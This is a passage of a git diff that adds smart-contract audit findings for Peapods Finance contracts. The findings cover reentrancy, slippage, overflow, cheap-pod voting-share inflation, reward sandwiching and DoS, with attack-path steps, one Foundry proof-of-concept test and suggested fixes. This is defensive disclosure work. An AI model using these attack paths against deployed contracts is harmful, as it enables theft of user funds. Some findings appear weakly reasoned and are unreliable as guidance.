+ }
+}
+```
+This fix ensures that:
+
+The function handles small values (`y = 2, y = 3`) correctly by setting `z = 1`.
+The algorithm is optimized to use fewer iterations and gas by using `y / 2` as the initial guess and `>> 1` for cheaper division.
diff --git a/096.md b/096.md
new file mode 100644
index 0000000..fe38a8b
--- /dev/null
+++ b/096.md
@@ -0,0 +1,63 @@
+Loud Snowy Marmot
+
+High
+
+# L0ckin7 - Reentrancy Risk in `_withdraw` and `_deposit` Functions
+
+L0ckin7
+High
+
+
+### Summary
+
+The `_withdraw` and `_deposit` functions transfer tokens before updating the internal state (`_totalAssets`), this can lead to reentrancy attacks.
+
+AutoCompoundingPodLp :
+
+`_deposit`
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L135
+
+```solidity
+IERC20(_asset()).safeTransferFrom(_msgSender(), address(this), _assets);
+```
+This transfers tokens from the caller before updating `_totalAssets`.
+
+`_withdraw`
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L199
+
+```solidity
+IERC20(_asset()).safeTransfer(_receiver, _assets);
+```
+This transfers tokens before reducing _totalAssets and burning shares.
+
+### Impact
+
+Allow an attacker to manipulate the contract's state, such as withdrawing more tokens than they are entitled to.
+
+### Attack Path
+
+If an attacker deposits a small amount to the contract then calls withdraw triggering `_withdraw`, a malicious fallback function in the attacker's contract can re-enters `_withdraw` before `_totalAssets` and balances are updated, the attacker calls withdraw again draining funds before state updates.
+
+ ### Recommendations
+
+We can use OpenZeppelin’s `ReentrancyGuard`:
+
+```solidity
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+contract AutoCompoundingPodLp is IERC4626, ERC20, ERC20Permit, Ownable, ReentrancyGuard {
+```
+Then, add nonReentrant to `_withdraw` and `_deposit`:
+
+```solidity
+function _deposit(uint256 _assets, uint256 _shares, address _receiver) internal nonReentrant {
+```
+
+```solidity
+function _withdraw(uint256 _assets, uint256 _shares, address _caller, address _owner, address _receiver) internal nonReentrant {
+```
+
+So we ensures state updates are completed before external calls, preventing reentrancy attacks.
+
+
+
diff --git a/097.md b/097.md
new file mode 100644
index 0000000..5c221b3
--- /dev/null
+++ b/097.md
@@ -0,0 +1,54 @@
+Daring Mustard Crab
+
+Medium
+
+# Slippage Risk in _tokenToPairedLpToken Function
+
+### Summary:
+- The `_tokenToPairedLpToken` function exposes users to slippage risk during token swaps.
+- The function lacks a defined minimum output (_amountOutMin) in certain swaps, especially for non-rewards tokens.
+
+**Severity: Medium**
+**Impact: Medium**
+**Likelihood: Medium**
+
+### Affected Line Of Code:
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L249-L301
+
+```solidity
+_amountOut = _swap(_token, _swapOutputTkn, _amountIn, 0);
+...
+try DEX_ADAPTER.swapV3Single(
+ _rewardsToken,
+ _swapOutputTkn,
+ REWARDS_POOL_FEE,
+ _amountIn,
+ 0, // _amountOutMin can be 0 because this is nested inside of function with LP slippage provided
+ address(this)
+) returns (uint256 __amountOut)
+```
+
+### Finding Description:
+- **Issue:** The function allows token swaps with _amountOutMin set to 0, leading to possible significant slippage.
+- **Security Breakdown:** No fail-safe or minimum output check for token swaps, which could result in the user receiving fewer tokens than expected due to price fluctuations.
+- **Propagation:** If the market fluctuates significantly, this slippage could lead to financial loss.
+
+### Impact Explanation:
+- This issue does not allow immediate exploits or breaches.
+- The vulnerability poses a risk of financial loss through slippage, especially in volatile or low-liquidity conditions.
+
+### Likelihood Explanation:
+- The likelihood of slippage is higher in volatile markets or low-liquidity conditions.
+- In normal trading environments, this risk is less likely to occur.
+
+
+### Recommendation:
+- **Fix:** Introduce a minimum output parameter (_amountOutMin) for all token swaps to protect against excessive slippage:
+
+```solidity
+uint256 _slippageTolerance = 5; // Example: 5% slippage tolerance
+uint256 _amountOutMin = (_amountIn * (100 - _slippageTolerance)) / 100;
+
+_amountOut = _swap(_token, _swapOutputTkn, _amountIn, _amountOutMin);
+```
+- **Benefit:** This ensures that users only receive a swap if the output meets a minimum threshold, thus preventing significant losses from slippage.
\ No newline at end of file
diff --git a/098.md b/098.md
new file mode 100644
index 0000000..3da2a32
--- /dev/null
+++ b/098.md
@@ -0,0 +1,37 @@
+Loud Snowy Marmot
+
+Medium
+
+# L0ckin7 - Unbounded Loops in `_processRewardsToPodLp`
+
+L0ckin7
+Medium
+
+### Summary
+
+The `_processRewardsToPodLp` function iterates over an array of reward tokens (`_tokens`).
+Could hit block gas limit if too many reward tokens are added.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L213
+
+### Impact
+
+If the array is too large, the transaction could run out of gas, causing a denial of service.
+
+### Recommendations
+
+Limit the number of tokens that can be processed in a single transaction or allow processing in batches.
+
+```solidity
+function _processRewardsToPodLp(uint256 _amountLpOutMin, uint256 _deadline) internal returns (uint256 _lpAmtOut) {
+ if (!yieldConvEnabled) {
+ return _lpAmtOut;
+ }
+ address[] memory _tokens = ITokenRewards(IStakingPoolToken(_asset()).POOL_REWARDS()).getAllRewardsTokens();
+ uint256 _len = _tokens.length + 1;
+ require(_len <= 10, "Too many tokens"); // Example limit
+ for (uint256 _i; _i < _len; _i++) {
+ // Existing logic
+ }
+}
+```
diff --git a/099.md b/099.md
new file mode 100644
index 0000000..d6fad9b
--- /dev/null
+++ b/099.md
@@ -0,0 +1,102 @@
+Curly Eggplant Bee
+
+Medium
+
+# Protocol will Break If `maxVaults' is set Below The Current Number
+
+### Summary
+
+A mistake in the contract's design will cause a Denial of Service (DoS) for users as the owner will reduce `maxVaults` below the current number of whitelisted vaults, preventing new vaults from being added.
+
+### Root Cause
+
+In [LendingAssetVault.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/LendingAssetVault.sol#L338-342) :: `setMaxVaults(uint8 _newMax)`, there is no validation to ensure that the new value of `maxVaults` is not less than the current number of whitelisted vaults. This allows the owner to set `maxVaults` to a value lower than the existing count of whitelisted vaults, creating an inconsistent state where the contract enforces the limit strictly but does not automatically unwhitelist excess vaults.
+
+```solidity
+function setMaxVaults(uint8 _newMax) external onlyOwner {
+ uint8 _oldMax = maxVaults;
+ maxVaults = _newMax;
+ emit SetMaxVaults(_oldMax, _newMax);
+}
+```
+
+### Internal Pre-conditions
+
+1. Owner needs to call `setMaxVaults()` to set `maxVaults` to be less than the current number of whitelisted vaults.
+2. The number of whitelisted vaults must be greater than the new value of `maxVaults`.
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Owner calls `setMaxVaults(uint8 _newMax)` with a value lower than the current number of whitelisted vaults.
+2. The contract updates `maxVaults` but does not unwhitelist any vaults, leaving the number of whitelisted vaults greater than `maxVaults`.
+3. When a user attempts to whitelist a new vault by calling `setVaultWhitelist(address _vault, bool _allowed)`, the contract reverts with the message "M" because the number of whitelisted vaults exceeds `maxVaults`.
+
+Note: Because this logic error requires the owner to execute the likely hood is medium and impact is high because it causes a DoS
+
+### Impact
+
+The users cannot whitelist new vaults, resulting in a Denial of Service (DoS) condition. This prevents legitimate users from interacting with the contract and limits the protocol's functionality. Additionally, the inconsistent state between `maxVaults` and the actual number of whitelisted vaults introduces operational complexity and potential governance challenges.
+
+### PoC
+
+```solidity
+function test_setMaxVaultsBelowCurrentDanger() public {
+ // 1. Initial Setup: Allow 10 vaults
+ _lendingAssetVault.setMaxVaults(10);
+
+ // 2. Add 10 vaults
+ address[] memory vaults = new address[](10);
+ for (uint256 i = 0; i < 9; i++) {
+ TestERC4626Vault newVault = new TestERC4626Vault(address(_asset));
+ address vaultAddr = address(newVault);
+ vaults[i] = vaultAddr;
+ _lendingAssetVault.setVaultWhitelist(vaultAddr, true);
+ console.log("Vaults: ", i);
+ }
+
+ // 3. Reduce maxVaults to 6
+ _lendingAssetVault.setMaxVaults(6);
+
+ // 4. Verify contract still has 10 whitelisted vaults
+ address[] memory whitelisted = _lendingAssetVault.getAllWhitelistedVaults();
+ console.log("Number of whitelisted: ", whitelisted.length);
+ assertEq(whitelisted.length, 10, "Should retain 10 vaults after max reduction");
+
+ // 5. Test new additions are blocked
+ TestERC4626Vault newVault11 = new TestERC4626Vault(address(_asset));
+ vm.expectRevert(); // Use correct error encoding
+ _lendingAssetVault.setVaultWhitelist(address(newVault11), true);
+
+ // 6. Remove one vault (now 9 left)
+ _lendingAssetVault.setVaultWhitelist(vaults[0], false);
+
+ // 7. Verify system remains broken
+ vm.expectRevert(); // Still can't add new vaults
+ _lendingAssetVault.setVaultWhitelist(address(newVault11), true);
+
+ // 8. Demonstrate DoS: Remove enough vaults to fall below maxVaults
+ for (uint256 i = 1; i <= 4; i++) {
+ _lendingAssetVault.setVaultWhitelist(vaults[i], false);
+ }
+
+ // 9. Verify adding a new vault is now allowed
+ _lendingAssetVault.setVaultWhitelist(address(newVault11), true);
+ }
+```
+
+### Mitigation
+
+Validate to make sure the `newMaxVault` is greater than the current `maxVaults`:
+
+```diff
+function setMaxVaults(uint8 _newMax) external onlyOwner {
++ require(_newMax >= _vaultWhitelistAry.length, "Cannot reduce maxVaults below current count");
+ uint8 _oldMax = maxVaults;
+ maxVaults = _newMax;
+ emit SetMaxVaults(_oldMax, _newMax);
+}
+```
\ No newline at end of file
diff --git a/100.md b/100.md
new file mode 100644
index 0000000..63ef234
--- /dev/null
+++ b/100.md
@@ -0,0 +1,66 @@
+Fast Khaki Raccoon
+
+High
+
+# `getConversionFactor` will overflow and DOS the voting module
+
+### Summary
+
+`getConversionFactor` will overflow due to faulty math causing a multiplication to exceed uin256.max most of the time.
+
+### Root Cause
+
+By following the math in the comments, it would lead us to the following calculations
+
+`_pricePeasNumX96` -> 3.2e46 as we get the price from `0xae750560b09ad1f5246f3b279b3767afd1d79160`, which is [PEAS : DAI v3 pool](https://etherscan.io/address/0xae750560b09ad1f5246f3b279b3767afd1d79160#readContract), and with a factor of 1e18 (1 : 1) it would result in a value with 46 decimals. Later this value would be multiplied by k, which is `reserve0 * reserve1`, a value which would be in the magnitude of 1e36 - 1e46 as w tokens with 18 decimals make at lest 1e36.
+
+When these 2 values are multiplied in the final equation we would get a new value with at least 82 decimals, which is way higher than the uint256.max - 1e77.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/ConversionFactorSPTKN.sol#L40-L48
+```solidity
+ uint160 _sqrtPriceX96 = TWAP_UTILS.sqrtPriceX96FromPoolAndInterval(PEAS_STABLE_CL_POOL);
+ uint256 _priceX96 = TWAP_UTILS.priceX96FromSqrtPriceX96(_sqrtPriceX96);
+
+ uint256 _pricePeasNumX96 = _token1 == PEAS
+ ? _priceX96
+
+ // 2^96 * 2^96 / 192500005625 = 3.2e46 (PEAS : DAI) -> 0xae750560b09ad1f5246f3b279b3767afd1d79160
+ : FixedPoint96.Q96 ** 2 / _priceX96;
+
+ // 3.2e46 * 1e18 / 1e18 = 3.2e46
+ // _pricePeasNumX96 * _pFactor / 1e18
+ uint256 _pricePPeasNumX96 = (_pricePeasNumX96 * _pFactor) / _pDenomenator;
+
+ (uint112 _reserve0, uint112 _reserve1) = V2_RESERVES.getReserves(_lpTkn);
+
+ uint256 _k = uint256(_reserve0) * _reserve1;
+
+ //@finding H this would be too big for low value tokens
+ // 3.2e46 * 1e36 -> 6.4e77
+ uint256 _avgTotalPeasInLpX96 = _sqrt(_pricePPeasNumX96 * _k) * 2 ** (96 / 2);
+
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+No attack path is needed, the function would just not work.
+
+### Impact
+
+`getConversionFactor` would revert almost every time, DOS the whole voting module, as it's used in `_updateUserState`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider using a more fractured method for calculating the price, i.e. spread the divisions along the way.
\ No newline at end of file
diff --git a/101.md b/101.md
new file mode 100644
index 0000000..439ac73
--- /dev/null
+++ b/101.md
@@ -0,0 +1,83 @@
+Fast Khaki Raccoon
+
+High
+
+# `VotingPool` will mint the same amount of voting shares for 2 different valued pods
+
+### Summary
+
+`VotingPool` will mint the same amount of voting shares even if one pod is 10x the price of the other
+
+### Root Cause
+
+`_updateUserState` relying on conversion factor to decide the pod value. However the conversion factor always starts at 1 and it's the share value increase, not it's intrinsic asset value.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L62-L85
+```solidity
+ function _updateUserState(address _user, address _asset, uint256 _addAmt)
+ internal
+ returns (uint256 _convFctr, uint256 _convDenom)
+ {
+ require(assets[_asset].enabled, "E");
+
+ // _totalAssets[indexTokens[0].token] * 1e18 / _totalSupply && 1e18
+ (_convFctr, _convDenom) = _getConversionFactorAndDenom(_asset);
+
+```
+This is further shown in `_calculateCbrWithDen` which gets that share value increase:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/ConversionFactorPTKN.sol#L19-L23
+```solidity
+ function _calculateCbrWithDen(address _pod) internal view returns (uint256, uint256) {
+ require(IDecentralizedIndex(_pod).unlocked() == 1, "OU");
+ uint256 _den = 10 ** 18;
+
+ // _totalAssets[indexTokens[0].token] * 1e18 / _totalSupply
+ return (IDecentralizedIndex(_pod).convertToAssets(_den), _den);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Alice mints voting 10 voting shares from a L2 pod - ARB, OP, Base (cheap tokens)
+2. Bob mints 10 voting shares from ETH staking pod - cbETH, stETH, rETH
+3. Both have 10 voting shares, but Bob's shares costed 3000 times more
+
+Any user can use this to find the cheapest pod ever and mint a ton of voting shares to use them in governance, or just farm the rewards, as they distribute per share (without taking into account the pod these shares come from):
+
+```solidty
+ function _update(address _from, address _to, uint256 _value) internal override {
+ super._update(_from, _to, _value);
+ require(_from == address(0) || _to == address(0), "NT");
+
+ if (_from != address(0)) {
+ TokenRewards(REWARDS).setShares(_from, _value, true);
+ }
+
+ if (_to != address(0) && _to != address(0xdead)) {
+ TokenRewards(REWARDS).setShares(_to, _value, false);
+ }
+ }
+```
+
+### Impact
+
+Voting shares do not have the same value, meaning malicious users can find the cheapest pods to mint a ton of voting shares.
+
+This would also generate more rewards for users as these pod shares are used in `TokenRewards`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider using oracles to get the price of each pod share and mint a voting shares based on that, instead of relying on the pod share value percentage increases to measure pod share value.
\ No newline at end of file
diff --git a/102.md b/102.md
new file mode 100644
index 0000000..c1c5afe
--- /dev/null
+++ b/102.md
@@ -0,0 +1,45 @@
+Loud Snowy Marmot
+
+Medium
+
+# L0ckin7 - Incorrect Handling of `_protocolFees` in `_tokenToPodLp`
+
+L0ckin7
+Medium
+
+### Summary
+
+The `_protocolFees` are deducted from the `_pairedOut` amount, but the `_protocolFees` are not reset or properly accounted for in subsequent transactions.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L233
+
+### Impact
+
+This could lead to incorrect fee calculations, if `_pairedOut` is less than `_amountIn` (due to slippage), the fee calculation could result in a larger fee than intended, reducing the amount available for LP conversion.
+This could lead to a loss of funds for users or the protocol.
+
+### Recommendations
+
+The issue can be fixed by calculating the protocol fee based on the input amount (`_amountIn`) rather than the output amount (`_pairedOut`). Additionally, the fee should be deducted from the input amount before processing the swap.
+
+```solidity
+function _tokenToPodLp(address _token, uint256 _amountIn, uint256 _amountLpOutMin, uint256 _deadline)
+ internal
+ returns (uint256 _lpAmtOut)
+{
+ // Calculate protocol fee based on input amount
+ uint256 _protocolFeeAmount = (_amountIn * protocolFee) / 1000;
+ if (_protocolFeeAmount > 0) {
+ _protocolFees += _protocolFeeAmount; // Add fee to protocol fees
+ _amountIn -= _protocolFeeAmount; // Deduct fee from input amount
+ }
+
+ // Process the remaining input amount
+ uint256 _pairedOut = _tokenToPairedLpToken(_token, _amountIn);
+ if (_pairedOut > 0) {
+ _lpAmtOut = _pairedLpTokenToPodLp(_pairedOut, _deadline);
+ require(_lpAmtOut >= _amountLpOutMin, "M");
+ }
+}
+```
+This ensures that the fee is consistent and proportional to the user's input.
\ No newline at end of file
diff --git a/103.md b/103.md
new file mode 100644
index 0000000..4a12a8a
--- /dev/null
+++ b/103.md
@@ -0,0 +1,27 @@
+Furry Berry Armadillo
+
+Medium
+
+# some functions are not fully compliant with `EIP-4626`
+
+## Description
+[withdraw](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L162)
+
+```solidity
+MUST revert if all of assets cannot be withdrawn (due to withdrawal limit being reached, slippage, the owner not having enough shares, etc).
+```
+`withdrawal limit being reached` inst check
+
+[previewWithdraw](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L158)
+
+```solidity
+MUST be inclusive of withdrawal fees. Integrators should be aware of the existence of withdrawal fees.
+```
+
+[previewDeposit](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L120)
+
+```solidity
+MUST be inclusive of deposit fees. Integrators should be aware of the existence of deposit fees.
+```
+## Recommendation
+All functions listed above should be modified to meet the specifications of `EIP-4626`
\ No newline at end of file
diff --git a/105.md b/105.md
new file mode 100644
index 0000000..349ac07
--- /dev/null
+++ b/105.md
@@ -0,0 +1,62 @@
+Fast Khaki Raccoon
+
+High
+
+# Users can abuse a reentrancy lock to disallow the share value from going up
+
+### Summary
+
+Users can abuse a reentrancy lock to disallow the share value from going up
+
+### Root Cause
+
+Users can abuse a reentrancy lock upon `DecentralizedIndex::burn()` to disallow the share value from going up:
+```solidity
+function burn(uint256 _amount) external lock { ... }
+```
+The `_burnRewards()` function has the following code:
+```solidity
+try IPEAS(rewardsToken).burn(_burnAmount) {} catch {
+ IERC20(rewardsToken).safeTransfer(address(0xdead), _burnAmount);
+}
+```
+If we call `burn()` on a locked pod (pOHM is one of the most recommended paired LP tokens in the website which is a pod), we would revert, go in the catch and transfer to the dead address. However, burning and transferring have different state changes - one is a simple transfer while the other one decreases the total supply. In this case, we would simply transfer and the total supply won't go down which means the share value won't go down as expected.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. A malicious user, Alice, targets a `TokenRewards` contract which has an underlying pod where the `PAIRED_LP_TOKEN` is a reward token (an expected scenario handled by the code), the `PAIRED_LP_TOKEN` is `pOHM` which is a pod, this is one of the recommended paired LP tokens in the [Peapods front-end](https://peapods.finance/app) upon creating a pod
+2. Alice calls `DecentralizedIndex.flashMint()` (`pOHM`) minting herself 0 tokens to avoid paying actual fees and has her malicious contract as the recipient, this locks the contract due to the `lock` modifier (`function flashMint(...) external override lock`)
+3. She reenters into `TokenRewards.claimReward()` using her malicious contract which then calls `DecentralizedIndex.processPreSwapFeesAndSwap()` (this is not a `pOHM` index this time but if it was, the same issue will happen without the reentrancy part. This means that the `lock` modifier there won't revert, we locked the `pOHM` pod)
+4. The checks in `_processPreSwapFeesAndSwap()` pass (note that `_shortCircuitRewards` is not 1 in this contract, it's 1 in the `pOHM` pod) and we go to `_feeSwap()` where the `PAIRED_LP_TOKEN` is the reward token and we call `TokenRewards.depositRewardsNoTransfer()` with the paired LP token which is the `pOHM` pod
+5. We get to `TokenRewards._depositRewards()` where we call `_burnRewards()` when the token provided is a reward token (our scenario)
+6. We reach this code:
+```solidity
+try IPEAS(rewardsToken).burn(_burnAmount) {} catch {
+ IERC20(rewardsToken).safeTransfer(address(0xdead), _burnAmount);
+}
+```
+7. We fail to burn due to the locked `pOHM` pod and we simply transfer to the dead address, these result in different states as explained
+
+### Impact
+
+Share value will not go down as expected, that is the reason for burning. Also, the last user to withdraw will still have to pay fees as we have this check there to confirm whether he is the last one out:
+```solidity
+return _debondAmount >= (_totalSupply * 99) / 100;
+```
+As the total supply can not go to 0 as the shares are in the dead address, even the last user will have to pay fees.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Fix is non-entirely trivial, consider changing the `pOHM` `lock` modifier to allow a call through the call explained in the function.
\ No newline at end of file
diff --git a/106.md b/106.md
new file mode 100644
index 0000000..6b71442
--- /dev/null
+++ b/106.md
@@ -0,0 +1,63 @@
+Loud Snowy Marmot
+
+Medium
+
+# Lack of Input Validation in `setSwapMap` and `setMaxSwap`
+
+L0ckin7
+Medium
+
+### Summary
+
+The `setSwapMap` and `setMaxSwap` functions do not validate the input parameters (`_in`, `_out`, `_amt`). Code lacks input validation, which could lead to vulnerabilities or unexpected behavior.
+
+### Impact
+
+This could lead to setting invalid or malicious swap configurations, invalid input addresses or amounts could cause the contract to behave unexpectedly.
+An attacker could exploit this lack of input validation to set malicious values, disrupting the contract's functionality or stealing funds.
+If malicious input is set, it could result in a loss of funds for users or the protocol.
+
+### Recommendations
+
+Add input validation to ensure valid token addresses and reasonable swap amounts.
+
+`setSwapMap` Function :
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L418
+
+Added validation for `_in` and `_out` to ensure they are not `address(0)`.
+
+Added validation for `_pools.pool1` to ensure it is not `address(0)`.
+
+Optionally, you can add validation for `_pools.pool2` if it is expected to be non-zero.
+
+```solidity
+function setSwapMap(address _in, address _out, Pools memory _pools) external onlyOwner {
+ require(_in != address(0), "Invalid input token address");
+ require(_out != address(0), "Invalid output token address");
+ require(_pools.pool1 != address(0), "Invalid pool1 address");
+ // Optionally validate pool2 if it is expected to be non-zero
+ // require(_pools.pool2 != address(0), "Invalid pool2 address");
+
+ swapMaps[_in][_out] = _pools;
+ emit SetSwapMap(_in, _out);
+}
+```
+
+`setMaxSwap` Function :
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L423
+
+Added validation for `_in` to ensure it is not `address(0)`.
+
+Added validation for `_amt` to ensure it is greater than `0`.
+
+```solidity
+function setMaxSwap(address _in, uint256 _amt) external onlyOwner {
+ require(_in != address(0), "Invalid token address");
+ require(_amt > 0, "Amount must be greater than 0");
+
+ maxSwap[_in] = _amt;
+ emit SetMaxSwap(_in, _amt);
+}
+```
\ No newline at end of file
diff --git a/109.md b/109.md
new file mode 100644
index 0000000..281daff
--- /dev/null
+++ b/109.md
@@ -0,0 +1,41 @@
+Fast Khaki Raccoon
+
+High
+
+# Users can sandwich the reward accrual of `TokenRewards`
+
+### Summary
+
+Users can sandwich the reward accrual of `TokenRewards`
+
+### Root Cause
+
+Depositing rewards in `TokenRewards` causes a stepwise jump in the reward per share which can be abused by users to avoid having to stake normally and simply take advantage of the accruals. There is no mechanism to defend against that, one such mechanism would be time like in the Synthetix staking protocol.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Reward per share is 100 tokens
+2. Rewards will be deposited which results in the reward per share immediately going to 110
+3. A malicious user frontruns that, deposits 100 shares, his excluded rewards are now based on the 100 reward per share
+4. The reward deposit executes and reward per share goes to 110
+5. User immediately withdraws and gets a profit of 10 * 100 = 1000 tokens, completely risk-free
+
+### Impact
+
+Risk-free profits for malicious users which are at the expense of honest stakers who will lose funds because of that.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Implement some kind of a mechanism to guard against that, such as "vesting" the tokens over a period of time which is done in Synthetix. Alternatively, consider adding a delay between the deposit and withdrawal to make users at least have to stay staked for a certain period of time before withdrawing.
\ No newline at end of file
diff --git a/110.md b/110.md
new file mode 100644
index 0000000..099d7e0
--- /dev/null
+++ b/110.md
@@ -0,0 +1,59 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Catch mechanism will revert for tokens such as BNB
+
+### Summary
+
+Catch mechanism will revert for tokens such as BNB
+
+### Root Cause
+
+Upon swapping tokens in `TokenRewards` (similar thing is also in other places in code), we have the following code:
+```solidity
+try
+ DEX_ADAPTER.swapV3Single(...)
+ {
+ ...
+ } catch {
+ ...
+ IERC20(PAIRED_LP_TOKEN).safeDecreaseAllowance(address(DEX_ADAPTER), _amountIn);
+ ...
+ }
+```
+The `safeDecreaseAllowance()` call will fail if the `PAIRED_LP_TOKEN` is BNB as upon approving `BNB` to 0, this causes a revert:
+```solidity
+ function approve(address _spender, uint256 _value)
+ returns (bool success) {
+ if (_value <= 0) throw;
+ allowance[msg.sender][_spender] = _value;
+ return true;
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The swap fails and it is supposed to be caught in the `catch` block (can fail due to let's say, the slippage provided and can be abused by an attacker by conducting a swap before the call)
+2. Upon decreasing the allowance to 0, this calls `approve()` with 0 on the BNB token
+3. This results in a revert
+
+### Impact
+
+DoS of functionalities as the catch mechanism doesn't work, this can be abused by malicious users by making the swap fail due to the provided slippage and the catch mechanism will then fail.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Do not approve tokens such as BNB to 0
\ No newline at end of file
diff --git a/111.md b/111.md
new file mode 100644
index 0000000..9ee3ab7
--- /dev/null
+++ b/111.md
@@ -0,0 +1,45 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Incorrect modifier results in the inability to set a staked user restriction
+
+### Summary
+
+Incorrect modifier results in the inability to set a staked user restriction
+
+### Root Cause
+
+Upon calling `StakingPoolToken.setStakeUserRestriction()` to set a user restriction, we use this modifier:
+```solidity
+ modifier onlyRestricted() {
+ require(_msgSender() == stakeUserRestriction, "R");
+ _;
+ }
+```
+The issue is that if a restriction hasn't been set in the first place or has been removed, then this will always revert as the `msg.sender` can not be `address(0)` which is the `stakeUserRestriction` value if it hasn't been set.
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. The staked user restriction is removed or hasn't been set in the first place
+2. There is no way to ever set it again in the future, resulting in a completely broken functionality
+
+### Impact
+
+Broken functionality rendering the staked user restriction mechanism completely useless. If a restriction must be set, then it will be impossible.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Change the modifier to a different one, possibly add the ability for the owner to set it
\ No newline at end of file
diff --git a/112.md b/112.md
new file mode 100644
index 0000000..d5066c6
--- /dev/null
+++ b/112.md
@@ -0,0 +1,64 @@
+Fast Khaki Raccoon
+
+Medium
+
+# Stable pairs on aerodrome are un-usable
+
+### Summary
+
+Stable is hardcoded to false, meaning that we would not be able to use any stable pools on aerodrome ( `USDC : USDT` оr `WETH : stETH` ), even if they have the highest liquidity for the pair and thus the lowest slippage and fee.
+
+### Root Cause
+
+We have hardcoded `stable` to false, meaning that we would not be able to use aerodrome stable pools:
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/AerodromeDexAdapter.sol#L71
+```solidity
+ _routes[0] = IAerodromeRouter.Route({
+ from: _tokenIn,
+ to: _tokenOut,
+ stable: false,
+ factory: IAerodromeRouter(V2_ROUTER).defaultFactory()
+ });
+
+```
+
+
+We can see from aerodrome's code that we are not able to get a stable pool is stable is false
+
+https://github.com/aerodrome-finance/contracts/blob/main/contracts/Router.sol#L70
+```solidity
+ function poolFor(address tokenA, address tokenB, bool stable, address _factory) public view returns (address pool) {
+ address _defaultFactory = defaultFactory;
+ address factory = _factory == address(0) ? _defaultFactory : _factory;
+ if (!IFactoryRegistry(factoryRegistry).isPoolFactoryApproved(factory)) revert PoolFactoryDoesNotExist();
+
+ (address token0, address token1) = sortTokens(tokenA, tokenB);
+ bytes32 salt = keccak256(abi.encodePacked(token0, token1, stable));
+ pool = Clones.predictDeterministicAddress(IPoolFactory(factory).implementation(), salt, factory);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+The contract will not work with stable pools in general.
+
+### Impact
+
+The stable pools can be the ones with highest liquidity and thus lowest slippage and fees. Even more true if we are swapping between stable pairs like `USDC : USDT` оr `WETH : stETH`
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider adding the ability to add stable to the input parameters.
\ No newline at end of file
diff --git a/113.md b/113.md
new file mode 100644
index 0000000..dff0cdf
--- /dev/null
+++ b/113.md
@@ -0,0 +1,107 @@
+Furry Berry Armadillo
+
+Medium
+
+# Share Dilution Due to Reward Processing Order
+
+### Summary
+
+Processing rewards before share calculation causes share dilution as users receive fewer shares when withdrawing or depositing assets after rewards are processed.
+
+[deposit](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L124)
+
+[withdraw](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L162)
+
+### Root Cause
+
+In `AutoCompoundingPodLp.sol`, reward processing occurs before share calculation in both `deposit` and `withdraw` functions:
+
+```solidity
+ function withdraw(uint256 _assets, address _receiver, address _owner) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp); <@
+ _shares = _convertToShares(_assets, Math.Rounding.Ceil);
+ _withdraw(_assets, _shares, _msgSender(), _owner, _receiver);
+ }
+```
+
+```solidity
+function deposit(uint256 _assets, address _receiver) external override returns (uint256 _shares) {
+ _processRewardsToPodLp(0, block.timestamp); <@
+ _shares = _convertToShares(_assets, Math.Rounding.Floor);
+ _deposit(_assets, _shares, _receiver);
+ }
+```
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Users suffer share dilution during `withdrawal` and `deposit`, receiving fewer shares for their assets due to reward processing occurring before share calculation.
+
+### PoC
+
